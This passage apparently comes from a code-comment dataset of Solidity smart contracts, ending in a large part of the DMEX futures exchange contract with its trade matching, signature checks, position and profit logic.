goal = appealFee + (appealFee * LOSER_STAKE_MULTIPLIER) / MULTIPLIER_DIVISOR;
}
Round[] storage rounds = disputeIDtoRoundArray[_disputeID];
Round storage lastRound = rounds[rounds.length - 1];
return (lastRound.paidFees[_choice], goal);
}
/** @dev Compute the start and end of the dispute's appeal period, if possible. If the dispute is not appealble return (0, 0).
* @param _disputeID ID of the dispute.
* @return start The start of the period.
* @return end The end of the period.
*/
function appealPeriod(uint256 _disputeID) public view returns (uint256 start, uint256 end) {
DisputeStruct storage dispute = disputes[_disputeID];
if (dispute.status == DisputeStatus.Appealable) {
start = dispute.appealPeriodStart;
end = start + appealDuration;
}
return (start, end);
}
}
|
Maps contributors to their contributions for each choice.
|
mapping(address => mapping(uint256 => uint256)) contributions;
| 1,009,479
|
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./full_match/42161/0x3543488F480bDb42075283Bc354Cf5B0F58e8204/sources/project_/src/active/MemepadProject.sol
|
Write: Owner set exchange rate Emit event
|
function setTokenRate(uint256 _tokenRate) external onlyOwner {
require(!isInitialized(), "Initialized");
require(_tokenRate > 0, "Not zero");
tokenRate = _tokenRate;
emit ESetTokenRate(tokenRate);
}
| 16,300,936
|
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pragma solidity ^0.4.19;
/* Interface for ERC20 Tokens */
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
/* Interface for the DMEX base contract */
contract EtherMium {
function getReserve(address token, address user) returns (uint256);
function setReserve(address token, address user, uint256 amount) returns (bool);
function availableBalanceOf(address token, address user) returns (uint256);
function balanceOf(address token, address user) returns (uint256);
function setBalance(address token, address user, uint256 amount) returns (bool);
function getAffiliate(address user) returns (address);
function getInactivityReleasePeriod() returns (uint256);
function getMakerTakerBalances(address token, address maker, address taker) returns (uint256[4]);
function getEtmTokenAddress() returns (address);
function subBalanceAddReserve(address token, address user, uint256 subBalance, uint256 addReserve) returns (bool);
function addBalanceSubReserve(address token, address user, uint256 addBalance, uint256 subReserve) returns (bool);
function subBalanceSubReserve(address token, address user, uint256 subBalance, uint256 subReserve) returns (bool);
}
// The DMEX Futures Contract
contract Exchange {
function assert(bool assertion) pure {
if (!assertion) {
throw;
}
}
// Safe Multiply Function - prevents integer overflow
function safeMul(uint a, uint b) pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Safe Subtraction Function - prevents integer overflow
function safeSub(uint a, uint b) pure returns (uint) {
assert(b <= a);
return a - b;
}
// Safe Addition Function - prevents integer overflow
function safeAdd(uint a, uint b) pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
address public owner; // holds the address of the contract owner
// Event fired when the owner of the contract is changed
event SetOwner(address indexed previousOwner, address indexed newOwner);
// Allows only the owner of the contract to execute the function
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
// Changes the owner of the contract
function setOwner(address newOwner) onlyOwner {
emit SetOwner(owner, newOwner);
owner = newOwner;
}
// Owner getter function
function getOwner() view returns (address out) {
return owner;
}
mapping (address => bool) public admins; // mapping of admin addresses
mapping (address => uint256) public lastActiveTransaction; // mapping of user addresses to last transaction block
mapping (bytes32 => uint256) public orderFills; // mapping of orders to filled qunatity
address public feeAccount; // the account that receives the trading fees
address public exchangeContract; // the address of the main EtherMium contract
uint256 public makerFee; // maker fee in percent expressed as a fraction of 1 ether (0.1 ETH = 10%)
uint256 public takerFee; // taker fee in percent expressed as a fraction of 1 ether (0.1 ETH = 10%)
struct FuturesAsset {
string name; // the name of the traded asset (ex. ETHUSD)
address baseToken; // the token for collateral
string priceUrl; // the url where the price of the asset will be taken for settlement
string pricePath; // price path in the returned JSON from the priceUrl (ex. path "last" will return tha value last from the json: {"high": "156.49", "last": "154.31", "timestamp": "1556522201", "bid": "154.22", "vwap": "154.65", "volume": "25578.79138868", "low": "152.33", "ask": "154.26", "open": "152.99"})
bool inversed; // if true, the price from the priceUrl will be inversed (i.e price = 1/priceUrl)
bool disabled; // if true, the asset cannot be used in contract creation (when price url no longer valid)
}
function createFuturesAsset(string name, address baseToken, string priceUrl, string pricePath, bool inversed) onlyAdmin returns (bytes32)
{
bytes32 futuresAsset = keccak256(this, name, baseToken, priceUrl, pricePath, inversed);
if (futuresAssets[futuresAsset].disabled) throw; // asset already exists and is disabled
futuresAssets[futuresAsset] = FuturesAsset({
name : name,
baseToken : baseToken,
priceUrl : priceUrl,
pricePath : pricePath,
inversed : inversed,
disabled : false
});
emit FuturesAssetCreated(futuresAsset, name, baseToken, priceUrl, pricePath, inversed);
return futuresAsset;
}
struct FuturesContract {
bytes32 asset; // the hash of the underlying asset object
uint256 expirationBlock; // futures contract expiration block
uint256 closingPrice; // the closing price for the futures contract
bool closed; // is the futures contract closed (0 - false, 1 - true)
bool broken; // if someone has forced release of funds the contract is marked as broken and can no longer close positions (0-false, 1-true)
uint256 floorPrice; // the minimum price that can be traded on the contract, once price is reached the contract expires and enters settlement state
uint256 capPrice; // the maximum price that can be traded on the contract, once price is reached the contract expires and enters settlement state
uint256 multiplier; // the multiplier price, used when teh trading pair doesn't have the base token in it (eg. BTCUSD with ETH as base token, multiplier will be the ETHBTC price)
}
function createFuturesContract(bytes32 asset, uint256 expirationBlock, uint256 floorPrice, uint256 capPrice, uint256 multiplier) onlyAdmin returns (bytes32)
{
bytes32 futuresContract = keccak256(this, asset, expirationBlock, floorPrice, capPrice, multiplier);
if (futuresContracts[futuresContract].expirationBlock > 0) throw; // contract already exists
futuresContracts[futuresContract] = FuturesContract({
asset : asset,
expirationBlock : expirationBlock,
closingPrice : 0,
closed : false,
broken : false,
floorPrice : floorPrice,
capPrice : capPrice,
multiplier : multiplier
});
emit FuturesContractCreated(futuresContract, asset, expirationBlock, floorPrice, capPrice, multiplier);
return futuresContract;
}
mapping (bytes32 => FuturesAsset) public futuresAssets; // mapping of futuresAsset hash to FuturesAsset structs
mapping (bytes32 => FuturesContract) public futuresContracts; // mapping of futuresContract hash to FuturesContract structs
mapping (bytes32 => uint256) public positions; // mapping of user addresses to position hashes to position
enum Errors {
INVALID_PRICE, // Order prices don't match
INVALID_SIGNATURE, // Signature is invalid
ORDER_ALREADY_FILLED, // Order was already filled
GAS_TOO_HIGH, // Too high gas fee
OUT_OF_BALANCE, // User doesn't have enough balance for the operation
FUTURES_CONTRACT_EXPIRED, // Futures contract already expired
FLOOR_OR_CAP_PRICE_REACHED, // The floor price or the cap price for the futures contract was reached
POSITION_ALREADY_EXISTS, // User has an open position already
UINT48_VALIDATION, // Size or price bigger than an Uint48
FAILED_ASSERTION // Assertion failed
}
event FuturesTrade(bool side, uint256 size, uint256 price, bytes32 indexed futuresContract, bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash);
event FuturesContractClosed(bytes32 indexed futuresContract, uint256 closingPrice);
event FuturesForcedRelease(bytes32 indexed futuresContract, bool side, address user);
event FuturesAssetCreated(bytes32 indexed futuresAsset, string name, address baseToken, string priceUrl, string pricePath, bool inversed);
event FuturesContractCreated(bytes32 indexed futuresContract, bytes32 asset, uint256 expirationBlock, uint256 floorPrice, uint256 capPrice, uint256 multiplier);
// Fee change event
event FeeChange(uint256 indexed makerFee, uint256 indexed takerFee);
// Log event, logs errors in contract execution (for internal use)
event LogError(uint8 indexed errorId, bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash);
event LogErrorLight(uint8 indexed errorId);
event LogUint(uint8 id, uint256 value);
event LogBool(uint8 id, bool value);
event LogAddress(uint8 id, address value);
// Constructor function, initializes the contract and sets the core variables
function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_, address exchangeContract_) {
owner = msg.sender;
feeAccount = feeAccount_;
makerFee = makerFee_;
takerFee = takerFee_;
exchangeContract = exchangeContract_;
}
// Changes the fees
function setFees(uint256 makerFee_, uint256 takerFee_) onlyOwner {
require(makerFee_ < 10 finney && takerFee_ < 10 finney); // The fees cannot be set higher then 1%
makerFee = makerFee_;
takerFee = takerFee_;
emit FeeChange(makerFee, takerFee);
}
// Adds or disables an admin account
function setAdmin(address admin, bool isAdmin) onlyOwner {
admins[admin] = isAdmin;
}
// Allows for admins only to call the function
modifier onlyAdmin {
if (msg.sender != owner && !admins[msg.sender]) throw;
_;
}
function() external {
throw;
}
function validateUint48(uint256 val) returns (bool)
{
if (val != uint48(val)) return false;
return true;
}
function validateUint64(uint256 val) returns (bool)
{
if (val != uint64(val)) return false;
return true;
}
function validateUint128(uint256 val) returns (bool)
{
if (val != uint128(val)) return false;
return true;
}
// Structure that holds order values, used inside the trade() function
struct FuturesOrderPair {
uint256 makerNonce; // maker order nonce, makes the order unique
uint256 takerNonce; // taker order nonce
uint256 takerGasFee; // taker gas fee, taker pays the gas
uint256 takerIsBuying; // true/false taker is the buyer
address maker; // address of the maker
address taker; // address of the taker
bytes32 makerOrderHash; // hash of the maker order
bytes32 takerOrderHash; // has of the taker order
uint256 makerAmount; // trade amount for maker
uint256 takerAmount; // trade amount for taker
uint256 makerPrice; // maker order price in wei (18 decimal precision)
uint256 takerPrice; // taker order price in wei (18 decimal precision)
bytes32 futuresContract; // the futures contract being traded
address baseToken; // the address of the base token for futures contract
uint256 floorPrice; // floor price of futures contract
uint256 capPrice; // cap price of futures contract
bytes32 makerPositionHash; // hash for maker position
bytes32 makerInversePositionHash; // hash for inverse maker position
bytes32 takerPositionHash; // hash for taker position
bytes32 takerInversePositionHash; // hash for inverse taker position
}
// Structure that holds trade values, used inside the trade() function
struct FuturesTradeValues {
uint256 qty; // amount to be trade
uint256 makerProfit; // holds maker profit value
uint256 makerLoss; // holds maker loss value
uint256 takerProfit; // holds taker profit value
uint256 takerLoss; // holds taker loss value
uint256 makerBalance; // holds maker balance value
uint256 takerBalance; // holds taker balance value
uint256 makerReserve; // holds taker reserved value
uint256 takerReserve; // holds taker reserved value
}
// Opens/closes futures positions
function futuresTrade(
uint8[2] v,
bytes32[4] rs,
uint256[8] tradeValues,
address[2] tradeAddresses,
bool takerIsBuying,
bytes32 futuresContractHash
) onlyAdmin returns (uint filledTakerTokenAmount)
{
/* tradeValues
[0] makerNonce
[1] takerNonce
[2] takerGasFee
[3] takerIsBuying
[4] makerAmount
[5] takerAmount
[6] makerPrice
[7] takerPrice
tradeAddresses
[0] maker
[1] taker
*/
FuturesOrderPair memory t = FuturesOrderPair({
makerNonce : tradeValues[0],
takerNonce : tradeValues[1],
takerGasFee : tradeValues[2],
takerIsBuying : tradeValues[3],
makerAmount : tradeValues[4],
takerAmount : tradeValues[5],
makerPrice : tradeValues[6],
takerPrice : tradeValues[7],
maker : tradeAddresses[0],
taker : tradeAddresses[1],
// futuresContract user amount price side nonce
makerOrderHash : keccak256(this, futuresContractHash, tradeAddresses[0], tradeValues[4], tradeValues[6], !takerIsBuying, tradeValues[0]),
takerOrderHash : keccak256(this, futuresContractHash, tradeAddresses[1], tradeValues[5], tradeValues[7], takerIsBuying, tradeValues[1]),
futuresContract : futuresContractHash,
baseToken : futuresAssets[futuresContracts[futuresContractHash].asset].baseToken,
floorPrice : futuresContracts[futuresContractHash].floorPrice,
capPrice : futuresContracts[futuresContractHash].capPrice,
// user futuresContractHash side
makerPositionHash : keccak256(this, tradeAddresses[0], futuresContractHash, !takerIsBuying),
makerInversePositionHash : keccak256(this, tradeAddresses[0], futuresContractHash, takerIsBuying),
takerPositionHash : keccak256(this, tradeAddresses[1], futuresContractHash, takerIsBuying),
takerInversePositionHash : keccak256(this, tradeAddresses[1], futuresContractHash, !takerIsBuying)
});
//--> 44 000
// Valifate size and price values
if (!validateUint128(t.makerAmount) || !validateUint128(t.takerAmount) || !validateUint64(t.makerPrice) || !validateUint64(t.takerPrice))
{
emit LogError(uint8(Errors.UINT48_VALIDATION), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// Check if futures contract has expired already
if (block.number > futuresContracts[t.futuresContract].expirationBlock || futuresContracts[t.futuresContract].closed == true || futuresContracts[t.futuresContract].broken == true)
{
emit LogError(uint8(Errors.FUTURES_CONTRACT_EXPIRED), t.makerOrderHash, t.takerOrderHash);
return 0; // futures contract is expired
}
// Checks the signature for the maker order
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.makerOrderHash), v[0], rs[0], rs[1]) != t.maker)
{
emit LogError(uint8(Errors.INVALID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// Checks the signature for the taker order
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.takerOrderHash), v[1], rs[2], rs[3]) != t.taker)
{
emit LogError(uint8(Errors.INVALID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// check prices
if ((!takerIsBuying && t.makerPrice < t.takerPrice) || (takerIsBuying && t.takerPrice < t.makerPrice))
{
emit LogError(uint8(Errors.INVALID_PRICE), t.makerOrderHash, t.takerOrderHash);
return 0; // prices don't match
}
//--> 54 000
uint256[4] memory balances = EtherMium(exchangeContract).getMakerTakerBalances(t.baseToken, t.maker, t.taker);
// Initializing trade values structure
FuturesTradeValues memory tv = FuturesTradeValues({
qty : 0,
makerProfit : 0,
makerLoss : 0,
takerProfit : 0,
takerLoss : 0,
makerBalance : balances[0], //EtherMium(exchangeContract).balanceOf(t.baseToken, t.maker),
takerBalance : balances[1], //EtherMium(exchangeContract).balanceOf(t.baseToken, t.maker),
makerReserve : balances[2], //EtherMium(exchangeContract).balanceOf(t.baseToken, t.maker),
takerReserve : balances[3] //EtherMium(exchangeContract).balanceOf(t.baseToken, t.maker),
});
//--> 60 000
// check if floor price or cap price was reached
if (futuresContracts[t.futuresContract].floorPrice >= t.makerPrice || futuresContracts[t.futuresContract].capPrice <= t.makerPrice)
{
// attepting price outside range
emit LogError(uint8(Errors.FLOOR_OR_CAP_PRICE_REACHED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// traded quantity is the smallest quantity between the maker and the taker, takes into account amounts already filled on the orders
// and open inverse positions
tv.qty = min(safeSub(t.makerAmount, orderFills[t.makerOrderHash]), safeSub(t.takerAmount, orderFills[t.takerOrderHash]));
if (positionExists(t.makerInversePositionHash) && positionExists(t.takerInversePositionHash))
{
tv.qty = min(tv.qty, min(retrievePosition(t.makerInversePositionHash)[0], retrievePosition(t.takerInversePositionHash)[0]));
}
else if (positionExists(t.makerInversePositionHash))
{
tv.qty = min(tv.qty, retrievePosition(t.makerInversePositionHash)[0]);
}
else if (positionExists(t.takerInversePositionHash))
{
tv.qty = min(tv.qty, retrievePosition(t.takerInversePositionHash)[0]);
}
//--> 64 000
if (tv.qty == 0)
{
// no qty left on orders
emit LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// Cheks that gas fee is not higher than 10%
if (safeMul(t.takerGasFee, 20) > calculateTradeValue(tv.qty, t.makerPrice, t.futuresContract))
{
emit LogError(uint8(Errors.GAS_TOO_HIGH), t.makerOrderHash, t.takerOrderHash);
return 0;
} // takerGasFee too high
// check if users have open positions already
// if (positionExists(t.makerPositionHash) || positionExists(t.takerPositionHash))
// {
// // maker already has the position open, first must close existing position before opening a new one
// emit LogError(uint8(Errors.POSITION_ALREADY_EXISTS), t.makerOrderHash, t.takerOrderHash);
// return 0;
// }
//--> 66 000
/*------------- Maker long, Taker short -------------*/
if (!takerIsBuying)
{
// position actions for maker
if (!positionExists(t.makerInversePositionHash) && !positionExists(t.makerPositionHash))
{
// check if maker has enough balance
if (!checkEnoughBalance(t.floorPrice, t.makerPrice, tv.qty, true, makerFee, 0, futuresContractHash, safeSub(balances[0],tv.makerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// create new position
recordNewPosition(t.makerPositionHash, tv.qty, t.makerPrice, 1, block.number);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
0, // profit
0, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
true, // newPostion (if true position is new)
true, // side (if true - long)
false // increase position (if true)
]
);
} else {
if (positionExists(t.makerPositionHash))
{
// check if maker has enough balance
// if (safeAdd(safeMul(safeSub(t.makerPrice, t.floorPrice), tv.qty) / t.floorPrice,
// safeMul(tv.qty, makerFee) / (1 ether)) * 1e10 > safeSub(balances[0],tv.makerReserve))
if (!checkEnoughBalance(t.floorPrice, t.makerPrice, tv.qty, true, makerFee, 0, futuresContractHash, safeSub(balances[0],tv.makerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// increase position size
updatePositionSize(t.makerPositionHash, safeAdd(retrievePosition(t.makerPositionHash)[0], tv.qty), t.makerPrice);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
0, // profit
0, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
false, // newPostion (if true position is new)
true, // side (if true - long)
true // increase position (if true)
]
);
}
else
{
// close/partially close existing position
updatePositionSize(t.makerInversePositionHash, safeSub(retrievePosition(t.makerInversePositionHash)[0], tv.qty), 0);
if (t.makerPrice < retrievePosition(t.makerInversePositionHash)[1])
{
// user has made a profit
//tv.makerProfit = safeMul(safeSub(retrievePosition(t.makerInversePositionHash)[1], t.makerPrice), tv.qty) / t.makerPrice;
tv.makerProfit = calculateProfit(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1], tv.qty, futuresContractHash, true);
}
else
{
// user has made a loss
//tv.makerLoss = safeMul(safeSub(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1]), tv.qty) / t.makerPrice;
tv.makerLoss = calculateLoss(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1], tv.qty, futuresContractHash, true);
}
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerInversePositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
tv.makerProfit, // profit
tv.makerLoss, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
false, // newPostion (if true position is new)
true, // side (if true - long)
false // increase position (if true)
]
);
}
}
// position actions for taker
if (!positionExists(t.takerInversePositionHash) && !positionExists(t.takerPositionHash))
{
// check if taker has enough balance
// if (safeAdd(safeAdd(safeMul(safeSub(t.capPrice, t.makerPrice), tv.qty) / t.capPrice, safeMul(tv.qty, takerFee) / (1 ether)) * 1e10, t.takerGasFee) > safeSub(balances[1],tv.takerReserve))
if (!checkEnoughBalance(t.capPrice, t.makerPrice, tv.qty, false, takerFee, t.takerGasFee, futuresContractHash, safeSub(balances[1],tv.takerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// create new position
recordNewPosition(t.takerPositionHash, tv.qty, t.makerPrice, 0, block.number);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // make address
],
t.takerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
0, // profit
0, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
true, // newPostion (if true position is new)
false, // side (if true - long)
false // increase position (if true)
]
);
} else {
if (positionExists(t.takerPositionHash))
{
// check if taker has enough balance
//if (safeAdd(safeAdd(safeMul(safeSub(t.capPrice, t.makerPrice), tv.qty) / t.capPrice, safeMul(tv.qty, takerFee) / (1 ether)) * 1e10, t.takerGasFee) > safeSub(balances[1],tv.takerReserve))
if (!checkEnoughBalance(t.capPrice, t.makerPrice, tv.qty, false, takerFee, t.takerGasFee, futuresContractHash, safeSub(balances[1],tv.takerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// increase position size
updatePositionSize(t.takerPositionHash, safeAdd(retrievePosition(t.takerPositionHash)[0], tv.qty), t.makerPrice);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // make address
],
t.takerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
0, // profit
0, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
false, // newPostion (if true position is new)
false, // side (if true - long)
true // increase position (if true)
]
);
}
else
{
// close/partially close existing position
updatePositionSize(t.takerInversePositionHash, safeSub(retrievePosition(t.takerInversePositionHash)[0], tv.qty), 0);
if (t.makerPrice > retrievePosition(t.takerInversePositionHash)[1])
{
// user has made a profit
//tv.takerProfit = safeMul(safeSub(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1]), tv.qty) / t.makerPrice;
tv.takerProfit = calculateProfit(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1], tv.qty, futuresContractHash, false);
}
else
{
// user has made a loss
//tv.takerLoss = safeMul(safeSub(retrievePosition(t.takerInversePositionHash)[1], t.makerPrice), tv.qty) / t.makerPrice;
tv.takerLoss = calculateLoss(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1], tv.qty, futuresContractHash, false);
}
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // make address
],
t.takerInversePositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
tv.takerProfit, // profit
tv.takerLoss, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
false, // newPostion (if true position is new)
false, // side (if true - long)
false // increase position (if true)
]
);
}
}
}
/*------------- Maker short, Taker long -------------*/
else
{
//LogUint(1, safeMul(safeSub(t.makerPrice, t.floorPrice), tv.qty)); return;
// position actions for maker
if (!positionExists(t.makerInversePositionHash) && !positionExists(t.makerPositionHash))
{
// check if maker has enough balance
//if (safeAdd(safeMul(safeSub(t.makerPrice, t.floorPrice), tv.qty) / t.floorPrice, safeMul(tv.qty, makerFee) / (1 ether)) * 1e10 > safeSub(balances[0],tv.makerReserve))
if (!checkEnoughBalance(t.capPrice, t.makerPrice, tv.qty, false, makerFee, 0, futuresContractHash, safeSub(balances[0],tv.makerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// create new position
recordNewPosition(t.makerPositionHash, tv.qty, t.makerPrice, 0, block.number);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
0, // profit
0, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
true, // newPostion (if true position is new)
false, // side (if true - long)
false // increase position (if true)
]
);
} else {
if (positionExists(t.makerPositionHash))
{
// check if maker has enough balance
//if (safeAdd(safeMul(safeSub(t.makerPrice, t.floorPrice), tv.qty) / t.floorPrice, safeMul(tv.qty, makerFee) / (1 ether)) * 1e10 > safeSub(balances[0],tv.makerReserve))
if (!checkEnoughBalance(t.capPrice, t.makerPrice, tv.qty, false, makerFee, 0, futuresContractHash, safeSub(balances[0],tv.makerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// increase position size
updatePositionSize(t.makerPositionHash, safeAdd(retrievePosition(t.makerPositionHash)[0], tv.qty), t.makerPrice);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
0, // profit
0, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
false, // newPostion (if true position is new)
false, // side (if true - long)
true // increase position (if true)
]
);
}
else
{
// close/partially close existing position
updatePositionSize(t.makerInversePositionHash, safeSub(retrievePosition(t.makerInversePositionHash)[0], tv.qty), 0);
if (t.makerPrice > retrievePosition(t.makerInversePositionHash)[1])
{
// user has made a profit
//tv.makerProfit = safeMul(safeSub(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1]), tv.qty) / t.makerPrice;
tv.makerProfit = calculateProfit(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1], tv.qty, futuresContractHash, false);
}
else
{
// user has made a loss
//tv.makerLoss = safeMul(safeSub(retrievePosition(t.makerInversePositionHash)[1], t.makerPrice), tv.qty) / t.makerPrice;
tv.makerLoss = calculateLoss(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1], tv.qty, futuresContractHash, false);
}
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // user address
],
t.makerInversePositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
tv.makerProfit, // profit
tv.makerLoss, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
false, // newPostion (if true position is new)
false, // side (if true - long)
false // increase position (if true)
]
);
}
}
// position actions for taker
if (!positionExists(t.takerInversePositionHash) && !positionExists(t.takerPositionHash))
{
// check if taker has enough balance
// if (safeAdd(safeAdd(safeMul(safeSub(t.capPrice, t.makerPrice), tv.qty) / t.capPrice, safeMul(tv.qty, takerFee) / (1 ether)), t.takerGasFee / 1e10) * 1e10 > safeSub(balances[1],tv.takerReserve))
if (!checkEnoughBalance(t.floorPrice, t.makerPrice, tv.qty, true, takerFee, t.takerGasFee, futuresContractHash, safeSub(balances[1],tv.takerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// create new position
recordNewPosition(t.takerPositionHash, tv.qty, t.makerPrice, 1, block.number);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // user address
],
t.takerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
0, // profit
0, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
true, // newPostion (if true position is new)
true, // side (if true - long)
false // increase position (if true)
]
);
} else {
if (positionExists(t.takerPositionHash))
{
// check if taker has enough balance
//if (safeAdd(safeAdd(safeMul(safeSub(t.capPrice, t.makerPrice), tv.qty) / t.capPrice, safeMul(tv.qty, takerFee) / (1 ether)), t.takerGasFee / 1e10) * 1e10 > safeSub(balances[1],tv.takerReserve))
if (!checkEnoughBalance(t.floorPrice, t.makerPrice, tv.qty, true, takerFee, t.takerGasFee, futuresContractHash, safeSub(balances[1],tv.takerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// increase position size
updatePositionSize(t.takerPositionHash, safeAdd(retrievePosition(t.takerPositionHash)[0], tv.qty), t.makerPrice);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // user address
],
t.takerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
0, // profit
0, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
false, // newPostion (if true position is new)
true, // side (if true - long)
true // increase position (if true)
]
);
}
else
{
// close/partially close existing position
updatePositionSize(t.takerInversePositionHash, safeSub(retrievePosition(t.takerInversePositionHash)[0], tv.qty), 0);
if (t.makerPrice < retrievePosition(t.takerInversePositionHash)[1])
{
// user has made a profit
//tv.takerProfit = safeMul(safeSub(retrievePosition(t.takerInversePositionHash)[1], t.makerPrice), tv.qty) / t.makerPrice;
tv.takerProfit = calculateProfit(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1], tv.qty, futuresContractHash, true);
}
else
{
// user has made a loss
//tv.takerLoss = safeMul(safeSub(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1]), tv.qty) / t.makerPrice;
tv.takerLoss = calculateLoss(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1], tv.qty, futuresContractHash, true);
}
updateBalances(
t.futuresContract,
[
t.baseToken, // base toke
t.taker // user address
],
t.takerInversePositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
tv.takerProfit, // profit
tv.takerLoss, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
false, // newPostion (if true position is new)
true, // side (if true - long)
false // increase position (if true)
]
);
}
}
}
//--> 220 000
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.qty); // increase the maker order filled amount
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], tv.qty); // increase the taker order filled amount
//--> 264 000
emit FuturesTrade(takerIsBuying, tv.qty, t.makerPrice, t.futuresContract, t.makerOrderHash, t.takerOrderHash);
return tv.qty;
}
function calculateProfit(uint256 closingPrice, uint256 entryPrice, uint256 qty, bytes32 futuresContractHash, bool side) returns (uint256)
{
bool inversed = futuresAssets[futuresContracts[futuresContractHash].asset].inversed;
uint256 multiplier = futuresContracts[futuresContractHash].multiplier;
if (side)
{
if (inversed)
{
return safeMul(safeSub(entryPrice, closingPrice), qty) / closingPrice;
}
else
{
return safeMul(safeMul(safeSub(entryPrice, closingPrice), qty), multiplier) / 1e8 / 1e18;
}
}
else
{
if (inversed)
{
return safeMul(safeSub(closingPrice, entryPrice), qty) / closingPrice;
}
else
{
return safeMul(safeMul(safeSub(closingPrice, entryPrice), qty), multiplier) / 1e8 / 1e18;
}
}
}
